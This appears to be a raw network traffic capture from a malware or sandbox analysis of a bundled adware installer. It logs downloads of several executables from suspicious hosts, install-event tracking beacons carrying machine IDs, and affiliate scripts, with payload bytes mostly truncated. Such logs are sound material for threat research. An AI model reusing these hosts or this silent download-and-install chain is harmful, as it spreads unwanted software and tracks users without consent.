ontent-Type: application/ocsp-response..Date: Fri, 30 Jan 2015 01:28:2
2 GMT..Expires: Tue, 03 Feb 2015 01:28:22 GMT..Cache-Control: public, 
max-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Pro
tection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protoco
l: 80:quic,p=0.02..0..........0..... .....0......0...0......J......h.v
....b..Z./..20150129190234Z0k0i0A0... ..........j.....p.I.#z...(~d..J.
.....h.v....b..Z./....2.S.......20150129190234Z....20150205190234Z0...
*.H.............,U.V......K..{njB.q......)1 .. 2.4Ee...q......c..*.d..
...d.....c(0."...Z....w...f.....98.t.......X}..[...10.X..?.z.i......]E
...;...k..'.]Rl...I.U.FXy:..H.F rW3.C...f.......#.<..lU^._..O..u.#G
.|>..h.~e*.f.?i....n^FW,..W( ).uO..1.$*4j.X>...txB.a.......8t2r.
s..
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3jzfk5p2hpev1.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 28 Jan 2015 13:52:58 GMT

Last-Modified: Wed, 28 Jan 2015 13:46:47 GMT

ETag: "54c8e847-6721"

Expires: Wed, 28 Jan 2015 14:02:58 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 78

X-Cache: Hit from cloudfront

Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PVdYvGMOUBiLxROz3HGd3F_X6Ic6CC30QMOpF12r0Z7zpaeNUhkNog==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_e HTTP/1.1

Host: dl.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:00 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1422503052"

Last-Modified: Thu, 29 Jan 2015 03:44:12 GMT

Cache-Control: max-age=3232

Content-Length: 2859576

Content-Type: text/plain

X-HW: 1422581341.dop011.am4.t,1422581340.cds036.am4.c
.>..-. %....E{..e.co.]..r.`:...5.93...m..4G.EW...g:V.E ._...'.v....
......./....R.w.B....s..~. 635..aKps8m'.63v.-`\I).#..a..H....5.6.....a
...B......?.Y>.E....%..zZ4.J...Y|c.A..s.z..;....E..I...4..w.#.cB...
,[email protected]'...PS.....(]!.=..x......D%P......I.
.Y.. G`X......8..1vD,'..'...{.|......F....C..{.}.....5.....h..N.....ey
.o8p..`..$/c0.,W[...)...f.b..........IzF#..R.S..l.i...j....X..u.....$R
M...s.{V}E.6..Q...V.TA?..9.,...`'.<...%...^...E6k.kB..%P1....q.r~b!
K.'Nml....R:.%.R.4r.....F<H..C.....l..s..) ..c6Vb.*... ..... "...s.
. A...#.[R.k.s.......^[email protected]."z..W... .J.t.......F.V....
..qC.T..dM.4.HO.4...h.n.y.-...hKoF.?1E.>.G....o[..g...lOl)T.n...Cu]
.$......:\.Qf\.>/..........5x.S?.&........,.......H.PV.(V>83...&
gt;9.W.%..`..g...P.....t..Rc..6.z........!....{.y... ..o..r..I.u..?.&l
t;\.=h......vm6.Wf........)..<e.n...../[email protected]...*.....MS..]6t
.8..... 2[.&.s9.....L.`c.xBO6..T..4....l@y.. ..R.e..."k/Y.o`........F.
...:.)...{x&.........K...| .%Lx.....|Og7.5;......vG0..@#....S1.... ..j
D..../.....D......3..8@h..|D.L..b1...Z."..b.(.S:...r........B.........
.'....A.W.Q.n ....YP..J...A!)..O./@.........[.k..%M. .W$g.......='Dc..
.=..n..F.?..~..VA..c...TFn.'.Z.&)}|-S...7..].a...........n.A...I.&....
...N!.r.....w.\.....".I...e/...u....c........F?."...i.7.8..7 B.y..w..(
B.. .,yd!a...M.D.....?.|%...7gU....v.r!......0...g..O0V..{z1.P....zC f
...(?.......:6.....n..$" ..\t6i.@BY...!R...^e -....#h...AV.q..dx.-.sI.
.b.N.:=.L.R'.....t....f.i\..;.......=.%l.h.9...j...H......^..:...C
<<< skipped >>>


GET /YTAFinishInstall.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: pix.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Cache-Control: max-age=0, must-revalidate

Expires: Fri, 30 Oct 1998 14:29:43 GMT

Date: Mon, 07 Aug 2006 07:07:36 GMT

Connection: close

Content-Type:image/gif
GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Mi
crosoft-IIS/5.1..Cache-Control: max-age=0, must-revalidate..Expires: F
ri, 30 Oct 1998 14:29:43 GMT..Date: Mon, 07 Aug 2006 07:07:36 GMT..Con
nection: close..Content-Type:image/gif..GIF89a.............!.......,..
.........D..;..


GET /sd?is=sm HTTP/1.1

Range: bytes=291612-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 291612-583223/583224

Content-Length: 291612

Connection: keep-alive
<.C...t......\f. .8...*.wd........Qp.aX.f..C.....WE.3h....).$....A.
.......yrD.1.f..]...J...E<..1..L.1.{..j.f.=....fM.F.....z...D...g..
...u.6.I'.U...[..7......Y..:n...^...A....w../9.....U.....?.'......xO62
.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<.D..v.).i<:..J....J
.;..<...X.)p...::I_U.........8..5..Y"..L<36..c}t..;....j.....?..
..@.`.......I|.L5....q}..3...ll=...bdI5..[?.....}.EeL..R....5"...(....
..../.....W..~..].@.. [email protected]%.Y...r]a.b.......)G..n
[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..k...r.....IaPJ"..].Pm.
.K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N..'.4.......'3.1..m..0
..=.^..._...S...M...i.t..yq....|....T.....&v.e.........D....Z.7...T...
....I...$.....A ..er....o...C..Y...A.F]hy!..q.........#....@$D.$L<.
..Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D......@.._&.Q..J.V.
[email protected]....\<1.|.*...m>....o#.@..&1...E...z
....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........x..n.O|.vfU. ..R.
....x..Yg.._..u...G. ...N[[email protected].,...g.=}4n......a
H...a.....`..v.......'@...<R.L......."J(..##..nV'..f../V...w!..'%..
(b.`......e.h....x=9&......M..X-_T...c.8..]'.F...........M.....m.G....
.....s..X...|.......;......2..B..AAu4..Wu..B...lf..........BUw.C...^J.
..(F.1;.s..f3.............m,...<.. .N.9..3$..C..=...a..z.....G..?..
i-.2.....hD..?....^?..B........~.....>]........G0...F....'].....e..
[email protected].......)..W.r.=.�....l.r.z..........7..e. \$D.
......t.......[.Z..N2.......%[email protected]...<....C...c...o..jz...S_.
<<< skipped >>>


GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive




HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Fri, 30 Jan 2015 01:28:29 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip
0......


GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:29 GMT

Content-Type: application/zip

Content-Length: 424362

Last-Modified: Wed, 28 Jan 2015 08:01:45 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........q.7Fq.$"............422.db.....!....-}....<..A#.<y....
\Y...7a...Fh...:.g...R.gcsw(.xa..'.3g..EX.....'S.~.b..,y\.B..S...W_..&
gt;2...zx....(....N.J8...o.b.;m.<.qk.n.Q!M......*..u...;....C&%..X.
...B{.Y7.h.....S4..>0~..w...T....z......p.g.;.t.h'.7...............
905Mu81xPK...........F,PI.J...........wpm_v20.0.0.1714.exe..C..=.0:..3
.m{..m..m..m..m...9w.U.u.w{W....tw....NW.......'?...rY..#....../.N1..f
...t...........e.r.h..s......#......{m..k....b.........o.f.Kb.:...>
V.]..(.Ig.q..{..A.x.G....N9..K...w..=....,...t. :.X.L...p.`.tqO.|..Z.p
....c..L..6.P.?.^.....J.a.j.........f.E.......;.....y....V7~M.t......~
:.x.Q..D...G..&....{...!......8K<......v..Li....f..!..U..).:$..d...
.M.Z....W....l.7..B.!t..i.Bw..|[email protected]...~V..
5(............qb..S.N..p.rt_..I...1.A..;.Dzw..=...)`"{.'...u. _...HeC.
..?..5....?2.n.3....gBx.x.....*.@*.Q........{...X7o.....g.Z.....-E.C..
.... I..3..g..BA.A....amF..?.%...{.....<....[...;5.....9.A.004 v..E
.\.r...>~...^.s.<..(L:......<VZ.....|...5a..&(..P.r.....\..c.
r...D}R$..'..lG...e.1..b.Q'~.YIN... .Hu8...1.Myi..oPkKY.R.O2.x......r.
.K.....;.F.N.T.|2..n.#..u......n.g.. ...k.Z.....W..K.a..A.....\]>..
G.r.a....]l...$.B..WH.f_..c..p...........N...f......X...yY...8.;=..G.$
......J..w. ..{..^.&p!......."47....NE.......]..Y.x.RT3...U.R..0.Nm hB
..O.F....[z........s.X..:1........]..;...M.i..[ ...U..`Rf..c.kb8..w...
....*l0.#.B... meQ...2b.`.F=...}..io.....|.L.N...C.h.;#.X(.?/.O2....%.
.n.B.Q......:.,...*d........s..2......}#..a"...K.I|...q.V.\..U55..
<<< skipped >>>


GET /jollywallet/resources/js/2/affiliate_client.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d2cnb4m0nke2lh.cloudfront.net

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Length: 321734

Connection: keep-alive

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Date: Wed, 28 Jan 2015 09:56:03 GMT

ETag: "54c4a2c4-4e8c6"

Expires: Fri, 27 Feb 2015 09:56:03 GMT

Last-Modified: Sun, 25 Jan 2015 08:01:08 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

Age: 142398

X-Cache: Hit from cloudfront

Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LvwpzHwP-JK1w__QXNqVaaKkei4Mq5OZb5KeqTBgUhX1Quda1bmmPQ==
var jw_db = {};.jw_db.permanentData = {gui:[],actions:[]};.jw_db.perma
nentCache = ["2351f600bf62102c56b3941c39225683","16524241cd11b1b1c6b3a
b30874047d6","c677ed22eed7f49fb1c55f70396c13f8","513eba82ce28999a775a1
e0e940d2ba4","5617660db3c6ac0476d867cca3b88fe8","e48ec7a3651ed003f8c06
1f518de9a4a","d04992ca4d0bbfe57c6e97c4800f9238","3fbd46e58e6a5fb439c6b
9ce6dca6722","9659eae7f67b76fb8644da35b1a3031f","cc2bebaa4fd273bc9bfd8
5189e750f1b","ff6e3f4612ef317625de5eb91140233f","bc2e6c682fb7411be447d
ed8eff5241b","1d60fc858146df68b9f8d259697f499c","a18281565d8fe250b850f
966a0c8054c","1d2be12b3c7e149eb9580da963e1ce05","886b52137277a7e848070
77888faf95b","73bcd3981149f5bffcb4bc0882d2136f","86c4d82fc0aedd1666acb
0abe4619a43","b53e20c91b81ec25a6d06d4cf351d0b2","2db77d0bbaad6f48449aa
2ee75b07b2f","4d03e7e5a92c5f56488651ea717cf464","233e5595b16e975bb4ebd
fd25620240a","e25c18fe7492b06a1acfe93ce6e83b8b","f13d88798f2b83aa50926
55b00be4ef1","b66380a53038ae2b7dd1bfaf6781d6ff","8afe94aa44f0ed7e607c9
86c538d37d7","a03bfb2d9a68853cad303a64fc54c0f0","91405a3e3c688a8e6f846
8949b18f94f","e77ffd08f59704bdae2a2c7f4a86ed9f","1576c876d278876f29c79
6c876da7659","42115558454a5a92dee17a1e651b5692","e50173d2983f028042965
a37357931fc","063c233da86fe6f0bb4c9d332f494099","600dff3e7e087e8af4acd
d996b6ecbea","9bd5796c279f448b0b2b32b6271d67b2","e33d5df51a0913066917a
3a1bfbc9f57","66043d5ca4afedac52b066d69a271dde","2fcf8b55874afc412cf42
286c4942e81","f8e236df6124dfd9dfdf2dd1b82b3b40","f35460959faa7ac9c027d
ef739f6c927","f1165efcdc35ad738ec7b63656e4ea6d","d0dcf869247f0494e
<<< skipped >>>


GET /t.ashx?e=QHucCbLl /ZGgpLO6W5H3sNTnuyhzCsUUwwA54 iRFR4E7mrr1h80tKpcmBYCD2f3Wq7IsWCDz6hohMymAE8VtaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Gy4hM7PAtZjZnYBIe25NIfNEoHcsnRCV6oLNFEy0XFyAKsDIj_vhyQ==
abfgshdgfjhsk....


GET /t.ashx?e=QHucCbLl /ZGgpLO6W5H3sNTnuyhzCsUUwwA54 iRFR4E7mrr1h80tKpcmBYCD2f3Wq7IsWCDz6hohMymAE8VtaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nValhKi-CLjc-UXqG52bDaFwbmz-KJWp68ProXhG2A3mVLSghaF7CQ==
abfgshdgfjhsk....


GET /t.ashx?e=QHucCbLl /ZGgpLO6W5H3sNTnuyhzCsUUwwA54 iRFR4E7mrr1h80tKpcmBYCD2f3Wq7IsWCDz6hohMymAE8VtaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iUGSqzcISpz1Mg2Yp8_vPKry3fkvvdELiB22xG7AZhewE2TcbrwJWQ==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:00 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 a034346227db119f7e0813186ca2d2c2.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: iUGSqzcISpz1Mg2Yp8_vPKry3fkvvdEL
iB22xG7AZhewE2TcbrwJWQ==..abfgshdgfjhsk..


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=699905-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 419940

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 699905-1119844/1119845
$.7..xa....#daC|[email protected]..{....1..[...A..Fm..Bt
..F&.Y.wa......N2.p..)....VLN..f9.S o.{a/..]..@.....*...P.......9.7...
s_Dg.........`........(..(..U.1..u".J..,...r.%...n.........{{@..".z6..
z..n#.U|.t....i..}...m..:.V.a..K.dz.Z....2A...-.y...8...3y6...nZ....PD
)4T. .V...f|.%.I..|.....6..sQ..y...b.M.xf*}K..^>.H...A4..& .\5.....
9..v)..o...U...8P..W....B."&.9Up.u.Awa^.-.R.t......x...|...p?.K..@....
..).....y....B..;...;J...V..5..G.n.C......mtP0sB.a2..........%...F....
fOPID...H}.....Y..6.l..q.P.\x.......;..?..MH..g.m.{......`..f.zey..5..
../.w..m.....R....Nn...,.'.....j%..C....Rd..|.............DK..........
..7.'&.....A...C-..."...........mIG;.3.........Cbv.f.t.....s......@...
`R....p.i..Sa.&.)....E: iW~V..&..G....n{/qi.W.V.Ao....0Q.|...../.H.-.I
.1...B;/..:./.....m...B.....%.Su.\..;.2...T..}!..`.j.&K.NM..(..~K..%..
h.H...x|u...........g.....*{..c/....t..Oz&=Q...B....//5..Fy..5.....d.2
%.on|Y...l*p..u^..s.7...W..........C_..w..[4.N..E...\B.;.r..x^. ....v)
.K......g._.3...1.H..H.)....S..\.V..Eai].....`m.Y..t..^.....u.-...q>
;.`#....?.-......X#....u.%[;.f.[[..M.p.[...!..]...I_nK...l..~..b.L..K.
S...(p....cz...`T.:Abt.y...8.`q.d,...M...$..P&..'.)`~.t.O."...... X.H.
%...)j....}.:.[(....n....'........{.'!.j..c..Y.....S..s.=@..].M.p~=.W!
.1sa&.....<=.....1_Y.i...d.....h."..-..H=...Rf....A....p..........n
.... }M...6.Nk63Z..}.........o..{m(n......3..../..c...#FW.8d.......[e.
..8zY........p....q.......tb..!......6.j...........-....og..h..$*.!.N!
.%..".........A...o&v..g......@.. SS...W!!..`.\..&ap....[*....^.[.
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?82710d4c569088d3 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com




HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 12 Sep 2014 18:47:05 GMT

Accept-Ranges: bytes

ETag: "805a83f2b9cecf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 56928

Date: Fri, 30 Jan 2015 01:29:53 GMT

Connection: keep-alive
MSCF....`.......,...................I.................,E.Y .authroot.s
tl..Y-..8..CK...<T...g.v!M.d..f.%d..}K..5..F. ...T..%.,YJ.,!T......
_..x.<=O.....yy....;3..>.|..~..\.....|......;..8..~.za...."A...q
.......g..m......<X........j"I........!..-w.....w....P...H..(.?}..2
.N. .u..a. ...=.C..D.F>rC.. ..|).=.. ..3b.8H.M...(...u8.%...W.g...\
YB.m:.....dE.........V....$....Dn:....0...S."...o..q.....K...I..K...(x
%....>A.R...`.0 .........<`L0mp...%....y.....g.n...R0Op..<..,
....`0$z.@..&.x"....T..H...<........~..E..".....<<.\B(.......
[email protected]/"...f.......k..Jm7j....R.5q....Rz.
.!@...].......Y.[........4.. .D8..&...t.J^O..Q.._..1.J.m5<'k.,....%
T....i.\.;.;q..S./ 8.?Bu.............}D.Q....L....*..[.."e......15m...
_.0.M........#..v!..<...@..?sc.y....*.....tX[........{.W4.Q...^u@..
*..QP.......~.L9N....2r...4.....B..-\(...b.d...K...O.8..Un.......V.<
;.......A...V.....(..s..f..q.{N0.hS.,..;M.|G|[email protected].._.....7._6...C.0...
A;L....%...M=Y.....f.JV.(.5.....0..?*...KZ....jM...8.6U...#...ew.?..?.
..........WE.Or..O>..{.'[email protected]}.o:?~....]&l
t;!...%....}@.d...L.p.a.g ..K."..N1!%..S.bT.H.-.....e..`.0$...0t..DX..
{.....#./...8.5..M...T.......D......V\C.zy.....3E:..>.{..).QW......
q....9..n..1....8%,.........r.p@.>. ...Q.?.p..7.?..7...&..!........
.`. .=....Sf..q.l.A.....L...t.}g..;...f....=.e.~.z....C..*R....H-..=..
.f..(t'.."....F...g._....n.J..U.4vr`}.....1..o@.....@.#...R. L8....z..
].|......3..y..-./....K..6{...s.<R`.}[email protected]....
<<< skipped >>>


GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.44462802650747585 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:52 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.9755537532330936 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:52 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:28:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


